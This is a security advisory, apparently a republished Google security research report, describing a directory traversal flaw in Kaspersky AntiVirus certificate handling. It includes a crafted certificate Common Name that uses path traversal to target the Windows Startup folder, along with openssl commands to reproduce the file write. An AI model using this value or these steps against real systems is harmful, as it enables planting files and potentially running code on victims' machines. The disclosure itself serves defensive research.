Kaspersky AntiVirus – Certificate Handling Directory Traversal
Source: https://code.google.com/p/google-security-research/issues/detail?id=539 When Kaspersky https inspection is enabled, temporary certificates are created in %PROGRAMDATA% for validation. I observed that the naming pattern is {CN}.cer. I created a certificate with CN="../../../../Users/All Users/Start Menu/Startup/foo.bat\x00", browsed to an SSL server presenting that certificate and Kaspersky created that certificate name. Jumping from this to code execution seems quite straightforward. I didn't try it, but it seems quite easy to make some ASN.1/X.509 that is also a valid batch file or some other relaxed-parsing format. Here is how to generate a certificate to reproduce: $ openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 360 Generating a 2048 bit RSA private key ......................................................................+++ ...............+++ writing new private key to 'key.pem' Enter PEM pass phrase: Verifying - Enter PEM pass phrase: ----- You are about to be asked to enter information that will be incorporated into your certificate request. What you are about to enter is what is called a Distinguished Name or a DN. There are quite a few fields but you can leave some blank For some fields there will be a default value, If you enter '.', the field will be left blank. ----- Country Name (2 letter code) [AU]: State or Province Name (full name) [Some-State]: Locality Name (eg, city) []: Organization Name (eg, company) [Internet Widgits Pty Ltd]: Organizational Unit Name (eg, section) []: Common Name (e.g. server FQDN or YOUR name) []:../../../../../Users/All Users/Desktop/hello Email Address []: Then test start a server like this: $ openssl s_server -key key.pem -cert cert.pem -accept 8080 And then navigate to https://host:8080 from the Windows host, and observe a certificate called hello.cer on the desktop. I attached a screenshot to demonstrate. I can't believe this actually worked, note that it's not necessary to click or interact with anything to produce the file. |